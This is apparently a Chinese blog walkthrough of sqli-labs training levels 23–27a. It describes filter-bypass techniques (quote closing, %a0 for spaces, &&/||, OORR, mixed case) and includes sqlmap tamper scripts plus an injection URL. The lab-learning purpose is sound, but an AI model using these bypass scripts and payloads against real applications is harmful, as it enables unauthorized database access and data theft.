sqlilab less23-less27a
less23
本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and '1'='1,将其加在注入语句的末尾,使用suffix参数


less-24
以后填坑
less-25
参数经过blacklist处理

blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

对sqlmap的一个payload进行修改
#!/usr/bin/env python """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies():
pass def tamper(payload, **kwargs): if payload:
payload1=payload.replace(' AND ',"&&")
payload2=payload1.replace(' OR ',"||")
payload=payload2 return payload
成功注入

less-26
同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

需要用and '1'='1来闭合后边单引号,用%a0来替代空格,
修改tamper脚本


攻击日志:

less-26a
不同于上一关,这里是用小括号进行了包裹

tamper
1 #!/usr/bin/env python
2
3 from lib.core.enums import PRIORITY
4 from lib.core.compat import xrange
5 import re
6
7 __priority__ = PRIORITY.LOWEST
8
9 def dependencies():
10 pass
11
12 def tamper(payload, **kwargs):
13
14 if payload:
15 payload1=re.sub(r' AND ','%a0%26%26%a0',payload)
16 payload2=re.sub(r'OR','OORR',payload1)
17 payload=payload2
18 retVal = payload
19
20 if payload:
21 retVal = ""
22 quote, doublequote, firstspace = False, False, False
23
24 for i in xrange(len(payload)):
25 if not firstspace:
26 if payload[i].isspace():
27 firstspace = True
28 retVal += "%a0"
29 continue
30
31 elif payload[i] == '\'':
32 quote = not quote
33
34 elif payload[i] == '"':
35 doublequote = not doublequote
36
37 elif payload[i] == " " and not doublequote and not quote:
38 retVal += "%a0"
39 continue
40
41 retVal += payload[i]
42
43 return retVal
使用sqlmap进行前后的包裹


less-27
过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过
使用随机大小写和空格匹配tamper


less-27a
不同于上一个的是参数没有包裹,同时不返回报错

利用上一题的tamper,对前后的包裹进行修改


攻击日志

sqlilab less23-less27a的更多相关文章
- 【sqli-labs】 less27a GET- Blind based -All you Union&Select Belong to us -Double Quotes(GET型基于盲注的去除了Union和Select的双引号注入)
和less 27一样,单引号换双引号 http://192.168.136.128/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01 ...
- 【sqli-labs】 less23 Error based - strip comments (GET型基于错误的去除注释的注入)
. 加单引号报错 加# http://localhost/sqli-labs-master/Less-23/?id=1'%23 错误没有改变,推测过滤了# 查看源码发现# -- 都被替换掉了 那么可用 ...
- Less-23 preg_replace1
Less-23: 直接跳到Less-23的原因是,Less-(11~22)均为注入点不为get方式的注入.我先把get型注入写的差不多,再回来整理关于注入点的内容. 核心语句: 查询.报错均有回显. ...
- sqli-lab 第一题 单引号 error based single quotes
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输 ...
- sqli-lab(37)
0X01 看看源码 what is mean? 定义和用法 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符. 下列字符受影响: \x00 \n ...
- sqli-lab(8)
布尔型单引号GET盲注 发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了 0X01爱之先了解 盲注需要掌握一些MySQL的相关函数:lengt ...
- sqli-lab(16)
现实证明 英语好才能学渗透 基于bool类型的时间盲注 双引号 0X01爱之初体验 说实话我还没有找到 盲注的时候怎么判断闭合的方法 so 这里我直接看源码 这里的语句应该是 (“”)这种的闭合形式 ...
- sqli-lab(15)
要考四级了 翻译过来就是 基于时间的单引号盲注 0X01盲注 的了解 https://www.cnblogs.com/ldhbetter/p/9201840.html 这里写的清清楚楚 A 先拆解长度 ...
- sqli-lab(14)
POST型的 双注入 0X01随便测试一下 在password输入"会报错 "#就不报错了 那么应该是“”的闭合 但是没有回显的值 只有报错的信息 那我们是不是该考虑从报错的语句 ...
随机推荐
- JS XMLHttpRequest请求
前言 我们知道jq的请求非常简短好用,但是其实js原生的请求也不差,并且不用插件更能说明自己本身的技术已经很强了,别人看自己代码一脸懵逼的时候,这时就可以一一解释这些代码的用处,更能让别人敬佩! JS ...
- AppWidget使用方法
手机桌面小组件 public class AppWidget extends AppWidgetProvider { @Override public void onUpdate(Context co ...
- h5 语义话标签的意义
使用语义话标签的意义 语义类标签对开发者更为友好,使用语义类标签增强了可读性,即便是在没有 CSS 的时 候,开发者也能够清晰地看出网页的结构,也更为便于团队的开发和维护. 除了对人类友好之外,语义类 ...
- Redis---07主从复制(哨兵模式)
一.什么是哨兵模式 基于主从复制的一般模式(一主二从)下,当发生主机发生宕机时,会通过流言协议判断主机是不是宕机,是的话则会通过投票协议自动把某一个从机转换成主机. 二.设置哨兵模式的配置文件 通过r ...
- EXPECT交互式批量上传公钥
EXPECT交互式批量上传公钥 # vim key.sh #/bin/bash Public_Key() { [ ! -f /usr/bin/expect ] && yum insta ...
- spring mvc 中获取HttpServletRequest ,HttpServletResponse
spring中的bean最常用的 singleton 模式 如果要在springmvc Controller 中获取 HttpServletRequest ,HttpServletResponse ...
- kube-proxy实现原理
1.service概念 service是一组pod的服务抽象,相当于一组pod的LB,负责将请求分发给对应的pod.service会为这个LB提供一个IP,一般称为cluster IP.kube-pr ...
- ElasticSearch7.3破解
破解ES7.3.0到白金版(学习交流使用) 正常安装ELK7.3版本到服务器上 正常部署ELK7到服务器上,先不要启动.然后开始进行破解操作 进行破解操作 需要破解的文件:modules/x-pack ...
- .NetCore中简单使用EasyNetQ
前言 我们在.Net中使用RabbitMQ,最原始的就是基于RabbitMQ.Client进行编码,在这个过程中我们需要通过代码约定和维护队列,Exchange等.如果是自行编码封装通用型的Rabbi ...
- 记载idea创建spring-boot项目时“Spring Initalizr Error”的问题处理